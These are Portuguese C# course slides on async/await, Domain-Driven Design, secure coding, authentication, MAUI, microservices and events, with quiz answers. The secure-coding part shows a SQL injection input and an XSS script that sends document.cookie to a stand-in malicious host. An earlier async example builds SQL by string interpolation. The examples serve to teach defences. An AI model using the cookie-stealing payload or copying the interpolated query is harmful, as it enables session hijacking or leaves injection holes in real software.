Prévia do material em texto
Prof. MSc. Tarcísio Peres
UNIDADE IV
Programação Orientada
a Objetos II
Técnicas de programação assíncrona em C# (async e await).
Práticas de programação segura em C#.
Autenticação e autorização.
Desenvolvimento de aplicativos móveis.
Microsserviços.
Arquiteturas baseadas em eventos.
Conteúdo da unidade IV
A programação assíncrona é uma técnica fundamental que permite a execução de
operações de longa duração, como o acesso a recursos da web, leituras de arquivos ou
operações de banco de dados, sem bloquear a thread principal de uma aplicação.
Essa abordagem melhora significativamente a responsividade e a eficiência das
aplicações, especialmente aquelas com interfaces de usuário ou que realizam múltiplas
operações simultaneamente.
As palavras-chave async e await são elementos centrais dessa técnica, introduzidas no C#
5.0, facilitando a escrita de código assíncrono de maneira clara e legível.
O uso da palavra-chave async em um método indica que o
método é assíncrono e pode conter uma ou mais expressões
await, que por sua vez, sinalizam a suspensão da execução do
método até que a operação assíncrona seja concluída.
Isso permite que outras operações continuem a ser
executadas na thread principal, como a atualização de
interfaces do usuário ou o processamento de outros eventos.
Programação assíncrona
Quando a operação assíncrona termina, o método é retomado a partir do ponto de
suspensão.
Uma característica importante da programação assíncrona em C# é a utilização de objetos
Task ou Task, que representam operações assíncronas.
Uma Task pode retornar um valor (se for do tipo Task) ou não (se for apenas Task).
Ao usar await em uma Task, o compilador gera automaticamente o código necessário para
tratar a continuação dessa tarefa, o que simplifica significativamente a gestão de callbacks e
o tratamento de exceções em comparação com abordagens mais antigas baseadas em
callbacks.
A adoção de async e await permite uma abordagem mais
declarativa à programação assíncrona, na qual o fluxo lógico
do código é mais fácil de seguir e entender. Isso contrasta com
abordagens anteriores, que frequentemente exigiam um
manejo explícito de threads, callbacks e gerenciamento de
estado, tornando o código mais complexo e propenso a erros.
Programação assíncrona
A programação assíncrona em C# suporta a propagação de exceções de maneira intuitiva.
Quando uma operação assíncrona falha, a exceção é capturada e pode ser tratada no local
em que a operação é aguardada, permitindo um tratamento de erro centralizado e
simplificado.
Embora a programação assíncrona ofereça muitas vantagens, é importante usá-la de forma
criteriosa.
Operações que são intrinsicamente rápidas e não bloqueiam a thread principal podem não
se beneficiar do overhead associado à criação e gerenciamento de tarefas assíncronas.
Portanto, o uso de async e await é mais indicado para
operações de longa duração ou que acessam recursos
externos, nos quais a melhoria na responsividade da aplicação
justifica o uso dessas técnicas.
Programação assíncrona
Exemplo no jogo.
Programação assíncrona
public async Task CarregarDadosDoJogoAsync()
{
using (var conexao = new SqlConnection("stringDeConexaoAoSqlServer"))
{
await conexao.OpenAsync();
// Carrega os dados do jogo de forma assíncrona
var comando = new SqlCommand("SELECT * FROM ConfiguracoesDoJogo",
conexao);
using (var reader = await comando.ExecuteReaderAsync())
{
while (await reader.ReadAsync())
{
// Processa os dados do jogo
}
}
}
}
Exemplo no jogo.
Programação assíncrona
public async Task ExecutarTurnoAsync(Jogador jogador)
{
// Simula a jogada de um dado de forma assíncrona, por exemplo
int resultadoDado = await SimularRolagemDeDadoAsync();
// Atualiza a posição do jogador de forma assíncrona no banco de
dados
await AtualizarPosicaoJogadorNoBancoDeDadosAsync(jogador.Id,
resultadoDado);
}
private async Task SimularRolagemDeDadoAsync()
{
// Simulação assíncrona de uma rolagem de dado
await Task.Delay(1000); // Simula o tempo de espera
return new Random().Next(1, 7); // Retorna um número entre 1 e 6
}
Exemplo no jogo.
Programação assíncrona
private async Task
AtualizarPosicaoJogadorNoBancoDeDadosAsync(int jogadorId,
int movimento)
{
using (var conexao = new
SqlConnection("stringDeConexaoAoSqlServer"))
{
await conexao.OpenAsync();
var comando = new SqlCommand($"UPDATE Jogadores
SET Posicao += {movimento} WHERE Id = {jogadorId}",
conexao);
await comando.ExecuteNonQueryAsync();
}
}
Domain-Driven Design é uma abordagem para o desenvolvimento de software que enfatiza a
importância de alinhar a estrutura e a linguagem do código com o domínio de negócio.
A essência do DDD reside na criação de um modelo de domínio rico, que é uma
representação abstrata do domínio de negócio, refletindo suas regras, operações,
estratégias e terminologia.
Um dos princípios fundamentais do DDD é o foco no núcleo do domínio, que é a parte mais
complexa e valiosa do sistema de software em desenvolvimento.
Para lidar com essa complexidade, propõe a utilização de uma linguagem ubíqua, que é uma
linguagem comum e compartilhada entre desenvolvedores e especialistas do domínio.
Essa linguagem facilita a comunicação e garante que todos os
envolvidos tenham uma compreensão clara do domínio e das
funcionalidades do sistema.
Domain-Driven Design
A ideia é que, ao adotar uma linguagem compartilhada, ambiguidades e mal-entendidos
podem ser significativamente reduzidos, facilitando assim a colaboração e o alinhamento
entre as partes envolvidas no desenvolvimento e na definição dos requisitos do sistema.
Um dos principais benefícios da linguagem ubíqua é que ela ajuda a eliminar a barreira
linguística que frequentemente existe entre especialistas de domínio, que possuem
conhecimento profundo das regras de negócio, e desenvolvedores, que têm a expertise
técnica para construir o sistema.
Em vez de cada grupo usar sua própria terminologia técnica
ou jargão, todos se comprometem a usar um vocabulário
comum que reflita com precisão os conceitos do domínio
de negócio.
Domain-Driven Design
Como o uso de async e await pode melhorar a eficiência de uma aplicação?
a) Reduzindo o consumo de CPU para todas as operações.
b) Garantindo que todas as exceções sejam tratadas.
c) Evitando o bloqueio da thread principal durante operações de longa duração.
d) Automaticamente distribuindo tarefas entre múltiplos servidores.
e) Criptografando dados enviados durante operações assíncronas.
Interatividade
Como o uso de async e await pode melhorar a eficiência de uma aplicação?
a) Reduzindo o consumo de CPU para todas as operações.
b) Garantindo que todas as exceções sejam tratadas.
c) Evitando o bloqueio da thread principal durante operações de longa duração.
d) Automaticamente distribuindo tarefas entre múltiplos servidores.
e) Criptografando dados enviados durante operações assíncronas.
Resposta
Para ilustrar, imagine uma empresa de comércio eletrônico que vende produtos online.
No contexto dessa empresa, termos como "pedido", "cliente", "produto", "carrinho de
compras" e "checkout" são usados frequentemente tanto pelos funcionários que gerenciam o
dia a dia do negócio quanto pela equipe de desenvolvimento que constrói e mantém o
sistema de e-commerce.
Sem uma linguagem ubíqua, poderia haver confusão sobre o que cada termo realmente
significa. Por exemplo, a equipe de negócios pode se referir a um "pedido" como qualquer
solicitação de compra feita por um cliente, enquanto para a equipe de desenvolvimento, um
"pedido" pode ser um objeto específico dentro do código que inclui detalhes como a lista de
produtos, o cliente que fez o pedido e o status do pagamento.
Ao adotar uma linguagem ubíqua, todos na empresa
concordam em definir claramente cadaum desses termos.
Nesse exemplo, um "pedido" será definido como "uma
solicitação confirmada de compra de um ou mais produtos por
um cliente, que inclui detalhes do cliente, lista de produtos,
informações de pagamento e status de entrega".
Domain-Driven Design
Essa definição é usada em todas as discussões, documentações e no código, garantindo
que não haja mal-entendidos sobre o que um "pedido" representa, tanto no contexto do
negócio quanto no sistema de software.
O DDD também enfatiza a importância da colaboração entre a equipe de desenvolvimento e
os especialistas do domínio.
Por meio de discussões contínuas e refinamento do modelo, a equipe pode garantir que o
software atenda às necessidades reais do negócio e possa se adaptar a mudanças no futuro.
Outra prática importante do DDD é a divisão do domínio em subdomínios.
Cada subdomínio representa uma parte do domínio de
negócio e pode ser desenvolvido de forma independente.
Essa abordagem permite que a equipe gerencie a
complexidade do domínio, concentrando-se em áreas menores
e mais gerenciáveis.
Adicionalmente, o DDD introduz o conceito de contextos
delimitados, que são fronteiras lógicas dentro das quais um
modelo de domínio específico é definido e aplicado.
Domain-Driven Design
Contexto delimitado
Domain-Driven Design
Fonte: autoria própria.
Esse contexto foca na administração do catálogo de produtos, incluindo adição,
remoção e atualização de produtos. Aqui, conceitos como Produto, Categoria e
Estoque são fundamentais. Dentro desse contexto, um Produto tem atributos
como ID, descrição, preço e quantidade em estoque. As operações podem incluir
ajustar o estoque, categorizar produtos e definir preços.
Contexto Delimitado 1: Gestão de Produtos
Produto
Categoria
Entidades
Descrição do Produto
Preço
Valor Objeto
Serviço de Categorização
Serviço de Precificação
Serviços de Domínio
Contexto delimitado
Domain-Driven Design
Fonte: autoria própria.
Esse contexto lida com tudo relacionado à criação, atualização e rastreamento
de pedidos de clientes. Ele gerencia o ciclo de vida de um pedido desde a sua
criação até a entrega. Conceitos importantes incluem Pedido, Item de Pedido e
Status de Pedido. Nesse contexto, um Pedido é composto por vários Itens de
Pedido e está associado a um Cliente específico.
Contexto Delimitado 2: Processamento de Pedidos
Pedido
Item de Pedido
Entidades:
Endereço de Entrega
Valor Objeto
Serviço de Cálculo de Frete
Serviço de Rastreamento de Pedido
Serviços de Domínio
A segurança no desenvolvimento de software não é apenas uma preocupação
adicional, mas sim um aspecto fundamental que permeia todas as fases do ciclo de
vida do desenvolvimento.
À medida que os ataques cibernéticos se tornam mais sofisticados, a importância de
incorporar práticas de segurança robustas desde a concepção até a implantação de
aplicações é inegável.
Em particular, a linguagem de programação C# oferece uma
série de recursos e práticas recomendadas que, quando
adequadamente empregados, podem significativamente
mitigar o risco de vulnerabilidades comuns, como a injeção de
SQL e os ataques de script entre sites (XSS).
Programação segura
A injeção de SQL é uma técnica de ataque que explora a construção de consultas SQL
através da inserção de código malicioso, permitindo ao atacante manipular ou acessar
dados indevidamente.
Para combater essa ameaça, é essencial validar todas as entradas do usuário. Isso significa
verificar se os dados fornecidos seguem os formatos esperados antes de processá-los.
Em C#, isso pode ser alcançado por meio do uso de expressões regulares, que permitem a
definição de padrões específicos que as entradas devem corresponder.
Além disso, a utilização de parâmetros em consultas SQL, em
vez de concatenação de strings, é uma prática recomendada
que impede a interpretação de partes da entrada como código
SQL, eliminando assim a possibilidade de injeção.
Programação segura
Para ilustrar esse tipo de ataque, suponha que temos um campo de entrada no qual o
usuário pode digitar seu nome de usuário para fazer login.
O aplicativo, então, verifica esse nome de usuário contra um banco de dados para encontrar
uma correspondência.
Acima um exemplo de consulta SQL vulnerável, pois um atacante pode inserir um valor
malicioso no campo de entrada, como por exemplo admin';--, de modo que a consulta SQL se
transforma na consulta abaixo:
Os caracteres – (hífen duplo) representam um comentário em
SQL, fazendo com que o restante da consulta seja ignorado.
Isso pode permitir que o atacante faça login como admin sem
precisar de uma senha.
Programação segura
string query = "SELECT * FROM users WHERE username = '" + userInput + "'";
SELECT * FROM users WHERE username = 'admin';--'
Uma maneira de mitigar esse tipo de ataque é validar a entrada do usuário usando
expressões regulares, garantindo que apenas caracteres seguros sejam aceitos.
Por exemplo, se os nomes de usuário devem consistir apenas de letras e números, podemos
verificar a entrada do usuário como no exemplo abaixo:
Programação segura
using System.Text.RegularExpressions;
string userInput = "admin';--";
bool isValidInput = Regex.IsMatch(userInput, @"^[a-zA-Z0-9]+$");
if (!isValidInput)
{
// Lidar com a entrada inválida
}
else
{
// Processar a entrada segura
}
Os ataques de script entre sites (XSS) ocorrem quando um atacante consegue inserir scripts
maliciosos em páginas web que são posteriormente apresentadas a outros usuários.
Existem basicamente dois tipos de ataques XSS: armazenado (persistentes) e refletido
(não persistentes).
Para prevenir tais ataques, é crucial sanear as entradas do usuário, removendo ou
escapando caracteres que possam ser interpretados como código HTML ou JavaScript.
Em C#, bibliotecas específicas e funções de escape de
caracteres oferecem meios para tratar as entradas de forma
que sejam seguras para serem renderizadas no navegador,
protegendo contra a execução indesejada de scripts.
Programação segura
O que é um "contexto delimitado" no desenvolvimento de software?
a) Uma metodologia para desenvolvimento rápido de software.
b) Uma técnica de validação de entrada de dados do usuário.
c) Uma fronteira lógica em que um modelo de domínio específico é aplicado.
d) Uma estratégia para lidar exclusivamente com erros e exceções.
e) Uma técnica para aprimorar a interface do usuário.
Interatividade
O que é um "contexto delimitado" no desenvolvimento de software?
a) Uma metodologia para desenvolvimento rápido de software.
b) Uma técnica de validação de entrada de dados do usuário.
c) Uma fronteira lógica em que um modelo de domínio específico é aplicado.
d) Uma estratégia para lidar exclusivamente com erros e exceções.
e) Uma técnica para aprimorar a interface do usuário.
Resposta
Para ilustrar um ataque XSS refletido, suponha que temos uma aplicação web que usa o
valor de um parâmetro de query string para exibir uma mensagem de boas-vindas ao
usuário.
Por exemplo, a URL da aplicação pode ser algo como http://exemplo.com.br?usuario=Nome .
Observe abaixo o código C# para exibir a mensagem.
Um atacante pode explorar essa funcionalidade para realizar
um ataque XSS, modificando a URL para inserir um script,
como: http://exemplo.com?usuario=alert('Ataque
XSS');.
Se o valor do parâmetro usuario for inserido diretamente na
página sem sanear, o script malicioso será executado no
navegador da vítima.
Programação segura
string usuario = Request.QueryString["usuario"];
lblMensagem.Text = "Bem-vindo, " + usuario;
Para prevenir esse XSS refletido, podemos usar o método HttpUtility.HtmlEncode para
codificar caracteres especiais em suas representações HTML.
Isso evita que o navegador interprete os valores de entrada como HTML ou JavaScript.Programação segura
string usuario = Request.QueryString["usuario"];
// Sanitiza a entrada para prevenir XSS
string usuarioSanitizado = HttpUtility.HtmlEncode(usuario);
lblMensagem.Text = "Bem-vindo, " + usuarioSanitizado;
Um exemplo de ataque XSS armazenado poderia envolver um fórum de discussões no qual
os usuários podem postar mensagens.
Se a aplicação não sanear corretamente as entradas antes de salvá-las no banco de dados,
um atacante poderia inserir um script como parte de uma mensagem.
Quando outros usuários visualizassem a mensagem, o script malicioso seria executado no
navegador deles.
Abaixo, um exemplo de código malicioso que um atacante poderia inserir em um fórum de
discussões, aproveitando uma vulnerabilidade de XSS armazenado.
Esse é um exemplo simples que exibe uma caixa de diálogo
alertando que os dados do usuário foram comprometidos.
Embora esse exemplo específico não cause danos diretos,
além de ser intrusivo, ele demonstra como scripts podem ser
executados no navegador do usuário.
Programação segura
alert('Seus dados foram comprometidos!');
Atacantes podem usar técnicas similares para executar ações muito mais maliciosas, como:
Roubar cookies de sessão, permitindo que o atacante sequestre sessões de usuário;
Redirecionar o usuário para sites maliciosos ou de phishing;
Capturar entradas de teclado ou cliques do mouse;
Modificar o conteúdo da página web para enganar os usuários ou esconder/mostrar
informações.
O script a seguir redireciona o navegador do usuário para um site controlado pelo atacante,
passando os cookies do usuário como parte da URL.
Isso poderia permitir ao atacante acessar informações de
sessão sensíveis e potencialmente assumir o controle da
sessão do usuário no site vulnerável.
Programação segura
document.location='http://site-malicioso.com/cookie_stealer.php?cookie=' +
document.cookie;
Para evitar que esses tipos de ataques ocorram, é essencial sanitizar todas as entradas de
usuário que serão exibidas em páginas web, como mencionado anteriormente, usando
métodos como HttpUtility.HtmlEncode em C#.
Além disso, adotar políticas de segurança como a Content Security Policy (CSP) pode ajudar
a mitigar o impacto dos ataques XSS ao restringir os recursos que podem ser carregados e
executados na página web.
Para prevenir XSS armazenado, além de sanitizar as entradas antes de exibi-las, é
importante também sanitizar as entradas antes de salvá-las no banco de dados.
Embora a sanitização antes da exibição seja crucial, sanitizar
antes do armazenamento adiciona uma camada extra de
segurança, garantindo que o banco de dados não contenha
scripts maliciosos.
Programação segura
Outro aspecto importante de segurança é a gestão segura de sessões. É vital para prevenir
vulnerabilidades relacionadas à identificação e autorização de usuários.
Isso envolve a criação de identificadores de sessão únicos e seguros, bem como a
implementação de mecanismos de expiração e renovação de sessão para reduzir a janela de
oportunidade para ataques de sequestro de sessão.
C# suporta várias estratégias para gerenciar sessões de forma segura, incluindo o
armazenamento de dados de sessão em locais seguros e o uso de cookies seguros, que são
transmitidos apenas através de conexões criptografadas.
Quando uma nova sessão é iniciada, o ASP.NET gera
automaticamente um identificador de sessão único.
No entanto, para garantir a segurança, é importante configurar
o aplicativo para usar HTTPS, assegurando que os cookies de
sessão sejam transmitidos de forma segura.
Programação segura
Por último, mas não menos importante, a criptografia de dados sensíveis é uma prática
essencial para garantir que informações críticas, como senhas e detalhes financeiros, sejam
armazenadas e transmitidas de forma segura.
C# fornece uma ampla gama de algoritmos criptográficos e bibliotecas que facilitam a
implementação de criptografia forte, tanto para dados em repouso quanto em trânsito.
Ao empregar essas técnicas, desenvolvedores podem assegurar que mesmo no caso de
uma violação de segurança, os dados sensíveis permanecerão inacessíveis aos atacantes.
A linguagem oferece suporte a diversas bibliotecas e classes no namespace
System.Security.Cryptography que permitem a implementação de criptografia forte.
É fundamental manter a chave (Chave) e o vetor de
inicialização (IV) seguros e consistentes entre as operações
de criptografia e descriptografia para que o processo seja
bem-sucedido.
Em um cenário real, você pode precisar armazenar a chave de
forma segura (por exemplo, usando um cofre de chaves).
Programação segura
Autenticar usuários e autorizar suas ações são dois conceitos fundamentais no
desenvolvimento de aplicações seguras, cada um desempenhando um papel crucial na
proteção de dados sensíveis e na garantia de que os usuários possam acessar apenas as
informações e funcionalidades que lhes são permitidas.
A autenticação refere-se ao processo de verificar a identidade de um usuário, garantindo que
ele seja quem diz ser.
Isso geralmente é feito por meio de credenciais, como um nome de usuário e senha,
biometria, ou até mesmo tokens de autenticação.
Em cenários mais avançados, métodos de autenticação
multifator podem ser empregados, adicionando uma camada
extra de segurança ao exigir que o usuário forneça duas ou
mais provas de sua identidade, como um código enviado para
seu telefone celular ou uma impressão digital.
O objetivo primário da autenticação é garantir que a identidade
do usuário seja validada de maneira segura antes de conceder
acesso a qualquer funcionalidade do sistema.
Autenticação e autorização
Uma vez que a identidade do usuário é confirmada, ele pode acessar a aplicação.
Por outro lado, a autorização ocorre após a autenticação e determina o que o usuário
autenticado está autorizado a fazer dentro da aplicação.
Esse processo envolve verificar se um usuário tem permissão para acessar recursos
específicos ou realizar determinadas operações, como editar ou excluir dados.
A autorização é fundamental para manter o controle de acesso adequado e garantir que os
usuários não ultrapassem os limites de seus direitos de acesso e ela é essencialmente
baseada nas políticas de segurança definidas pelos administradores do sistema, que
atribuem diferentes níveis de acesso a diferentes usuários ou grupos de usuários.
Por exemplo, um usuário autenticado pode ter permissão para
visualizar dados, enquanto apenas administradores podem
alterar ou deletar esses dados.
A autorização garante que os usuários tenham acesso apenas
às informações e funcionalidades adequadas ao seu papel ou
status dentro da aplicação.
Autenticação e autorização
Tecnologias como OAuth e JWT (JSON Web Tokens) são amplamente utilizadas para
facilitar os processos de autenticação e autorização em aplicações modernas.
OAuth é um padrão aberto para acesso delegado, permitindo que aplicações obtenham
tokens de acesso limitados, em vez de usar credenciais completas para acessar recursos em
nome do usuário.
Isso é especialmente útil em cenários onde aplicações precisam interagir com outras
aplicações em nome de um usuário sem compartilhar suas credenciais.
O JWT, por sua vez, é um método compacto e seguro de transmitir informações entre partes
como um objeto JSON.
Esses tokens podem ser verificados e confiáveis porque são
digitalmente assinados.
JWTs são usados tanto para autenticação quanto para
autorização, fornecendo uma maneira eficiente de transmitir
informações de identidade do usuário e detalhes de permissão
entre o cliente e o servidor.
Autenticação e autorização
Qual é o propósito de usar o HttpUtility.HtmlEncode em C# para segurança web?
a) Aceleraro carregamento de páginas web.
b) Gerenciar sessões de usuário de maneira segura.
c) Evitar que caracteres especiais sejam interpretados como código executável.
d) Otimizar o desempenho de consultas ao banco de dados.
e) Criptografar comunicações entre o cliente e o servidor.
Interatividade
Qual é o propósito de usar o HttpUtility.HtmlEncode em C# para segurança web?
a) Acelerar o carregamento de páginas web.
b) Gerenciar sessões de usuário de maneira segura.
c) Evitar que caracteres especiais sejam interpretados como código executável.
d) Otimizar o desempenho de consultas ao banco de dados.
e) Criptografar comunicações entre o cliente e o servidor.
Resposta
O desenvolvimento cross-platform com Xamarin ou MAUI, desenvolvimento de aplicativos
móveis, gráficos e visualização de dados, microsserviços e arquiteturas baseadas em
eventos têm ganhado destaque por oferecerem abordagens inovadoras e eficientes para a
construção de sistemas complexos e robustos.
O desenvolvimento cross-platform, em particular por meio de ferramentas como Xamarin e
MAUI (Multi-platform App UI), representa uma metodologia significativa para os
desenvolvedores que buscam criar aplicativos que funcionem em múltiplos sistemas
operacionais com um único código-base.
Isso economiza tempo e recursos além de garantir uma experiência consistente para o
usuário final em diferentes dispositivos.
Xamarin, uma das primeiras plataformas a oferecer essa
capacidade, utiliza C# e .NET para permitir o desenvolvimento
integrado para iOS, Android e Windows.
Por outro lado, o MAUI, sucessor do Xamarin, expande essas
possibilidades, introduzindo uma abordagem mais moderna e
eficaz para a criação de interfaces de usuário que se adaptam
perfeitamente a qualquer plataforma.
Xamarin e MAUI
Compilar e executar um aplicativo .NET MAUI para Android e iOS envolve uma série de passos
que podem ser realizados principalmente por meio do Visual Studio, que fornece um ambiente
integrado para o desenvolvimento, depuração e implantação de aplicativos multiplataforma.
São pré-requisitos para esse processo:
SDK do Android e Xcode para desenvolvimento iOS (somente para macOS). O Visual Studio
para Mac automaticamente gerencia essas dependências, mas para Windows, você
precisará ter o Xcode instalado em um Mac para compilação iOS.
Um dispositivo Android ou iOS para teste, ou um emulador/simulador configurado por meio
do Visual Studio.
Xamarin e MAUI
Compliando para Android
Xamarin e MAUI
Abrir o Projeto
Inicie o Visual Studio e abra seu projeto .NET MAUI.
Definir o Dispositivo de Destino
Na barra de ferramentas do Visual Studio, você encontrará um menu dropdown
para selecionar o dispositivo de destino. Para Android, você pode escolher entre
emuladores Android disponíveis ou um dispositivo físico conectado ao seu
computador. Se necessário, configure um emulador Android por meio do Android
Device Manager.
Compilar e Executar
Com o dispositivo de destino selecionado, pressione F5 ou clique no botão
“Iniciar Depuração” para compilar e executar o aplicativo. O Visual Studio
compila o aplicativo, empacota-o como um APK para Android e o instala no
dispositivo ou emulador selecionado.
Compliando para iOS
Xamarin e MAUI
Conexão com o Mac
Para compilar e executar aplicativos iOS, seu Visual Studio no Windows
precisa estar conectado a um Mac com o Xcode instalado. O Visual
Studio utilizará esse Mac para compilar o código iOS. Configure a
conexão seguindo as instruções na documentação do Visual Studio.
Selecionar Dispositivo de Destino
Como no Android, selecione o destino de execução para iOS na barra de
ferramentas. Isso pode ser um simulador iOS no Mac conectado ou um
dispositivo físico iOS.
Compilar e Executar:
Pressione F5 ou clique em “Iniciar Depuração” para iniciar a compilação
e execução no dispositivo ou simulador iOS selecionado. O Visual Studio
compila o aplicativo, empacota-o para iOS e o instala no destino
escolhido.
Compliando para MacOS
Xamarin e MAUI
Abrir o Projeto
Inicie o Visual Studio para Mac e abra o projeto .NET MAUI que você deseja
compilar para macOS.
Configurar o Projeto para macOS
No Visual Studio para Mac, verifique se o projeto .NET MAUI inclui um projeto específico para macOS dentro da solução. .NET MAUI permite
compartilhar código entre plataformas, mas cada plataforma-alvo (iOS, Android, macOS, Windows) pode ter configurações específicas.
Se necessário, ajuste as configurações específicas do macOS no projeto, como ícones, informações de bundle e outras configurações de manifest.
Selecionar o Target de Execução
Na barra de ferramentas superior, escolha o target de compilação para macOS.
Se estiver trabalhando em uma solução com múltiplos projetos (por exemplo,
iOS, Android, macOS), certifique-se de selecionar o projeto macOS como o
projeto de inicialização.
Compilar e Executar
Pressione ⌘ + Enter ou clique no botão “Iniciar” para compilar e executar o
aplicativo. O Visual Studio para Mac irá compilar o aplicativo, empacotá-lo para
macOS e iniciar o aplicativo no seu Mac.
Microsserviços representam uma abordagem arquitetônica para o desenvolvimento de
aplicações, que consiste na divisão de uma aplicação em um conjunto de serviços menores,
cada um executando um processo único e comunicando-se por meio de APIs leves.
Uma API leve refere-se a uma interface que é projetada para ser simples, eficiente e fácil de
usar, com o objetivo de minimizar o uso de recursos computacionais, como largura de
banda e memória e facilitar a comunicação rápida entre diferentes serviços ou componentes
de software.
Em contraste com APIs mais pesadas ou complexas, que
podem incluir uma grande quantidade de dados ou exigir
processamentos intensivos, as APIs leves são otimizadas para
trocas de dados rápidas e eficazes, frequentemente usando
formatos de mensagem compactos e protocolos de
comunicação de alto desempenho.
Microsserviços
A metodologia de microsserviços surgiu como uma evolução dos serviços monolíticos,
visando superar limitações relacionadas à escalabilidade, flexibilidade e velocidade de
desenvolvimento.
Em um cenário de mercado cada vez mais ágil e competitivo, empresas buscam formas de
acelerar a entrega de novas funcionalidades, garantir a estabilidade dos sistemas e melhorar
a experiência do usuário, fatores que impulsionaram a adoção dos microsserviços.
Além disso, em sistemas monolíticos, a falha em um componente pode afetar toda a
aplicação, enquanto que em uma arquitetura de microsserviços, os serviços são
independentes, permitindo que falhas sejam isoladas, reduzindo o impacto no sistema
como um todo.
No mercado, eles são amplamente utilizados por empresas de
tecnologia, desde startups até gigantes globais.
Essa abordagem permite que as organizações adotem
tecnologias e linguagens de programação específicas
para cada serviço, otimizando o uso de recursos e
maximizando a eficiência
Microsserviços
No universo da programação e do desenvolvimento de sistemas, a arquitetura orientada a
eventos tem emergido como uma poderosa abordagem para construir aplicações
reativas e escaláveis.
Essa abordagem permite que os sistemas respondam de forma mais dinâmica e flexível a
eventos ou ações, facilitando a criação de aplicações interativas e eficientes.
Nesse contexto, a linguagem de programação C# desempenha um papel significativo ao
oferecer recursos robustos para a implementação dessa arquitetura.
C# é uma linguagem de programação moderna, orientada a objetos, que fornece um suporte
abrangente para o desenvolvimento baseado em eventos.
Isso é evidenciado pela sua rica biblioteca de classes e
interfaces que permitem aos desenvolvedores definir, disparar
e manipular eventos de maneira eficaz.
Arquitetura orientada a eventos
Por meio de delegados, eventos e expressões lambda, a linguagem facilita a subscrição eo
tratamento de notificações de eventos, permitindo que os sistemas reajam de forma
assíncrona às mudanças ou ações ocorridas.
No cerne das arquiteturas orientadas a eventos, encontra-se o princípio de que os
componentes do sistema devem ser fracamente acoplados.
Isso significa que eles interagem uns com os outros principalmente através do envio e
recebimento de eventos, sem a necessidade de uma referência direta entre eles.
C# suporta esse princípio por meio de seus recursos de programação orientada a eventos,
permitindo que os desenvolvedores criem sistemas com alta coesão e baixo acoplamento.
Essa característica é crucial para a escalabilidade e a
manutenção do sistema.
Arquitetura orientada a eventos
Analise as afirmações a seguir. Qual delas está incorreta?
a) O MAUI é sucessor do Xamarin.
b) Microsserviços representam uma abordagem arquitetônica para o desenvolvimento de
aplicações.
c) A metodologia de microsserviços surgiu como uma evolução dos serviços monolíticos.
d) No cerne das arquiteturas orientadas a eventos, encontra-se o princípio de que os
componentes do sistema devem ser fracamente acoplados.
e) O procedimento de compilação de um aplicativo MAUI é único para Android e iOS.
Interatividade
Analise as afirmações a seguir. Qual delas está incorreta?
a) O MAUI é sucessor do Xamarin.
b) Microsserviços representam uma abordagem arquitetônica para o desenvolvimento de
aplicações.
c) A metodologia de microsserviços surgiu como uma evolução dos serviços monolíticos.
d) No cerne das arquiteturas orientadas a eventos, encontra-se o princípio de que os
componentes do sistema devem ser fracamente acoplados.
e) O procedimento de compilação de um aplicativo MAUI é único para Android e iOS.
Resposta
ATÉ A PRÓXIMA!